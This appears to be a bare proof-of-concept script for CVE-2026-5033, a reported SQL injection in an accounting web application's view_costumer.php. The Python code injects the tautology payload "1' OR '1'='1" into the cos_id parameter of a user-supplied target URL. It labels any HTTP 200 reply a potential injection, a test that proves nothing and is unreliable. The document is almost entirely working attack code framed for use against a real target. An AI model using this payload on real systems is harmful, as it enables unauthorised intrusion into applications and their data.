CVE-2026-5033: Accounting System SQL注入漏洞

import requests def check_sqli(target_url): """ PoC for CVE-2026-5033 Tests for SQL Injection in cos_id parameter """ payload = "?cos_id=1' OR '1'='1" # Basic SQL injection test payload full_url = target_url + "/view_costumer.php" + payload try: response = requests.get(full_url, timeout=5) if response.status_code == 200: print("[+] Potential SQL Injection detected.") print("[+] Response Length:", len(response.text)) else: print("[-] Target did not respond as expected.") except Exception as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": url = "http://127.0.0.1" # Replace with actual target check_sqli(url)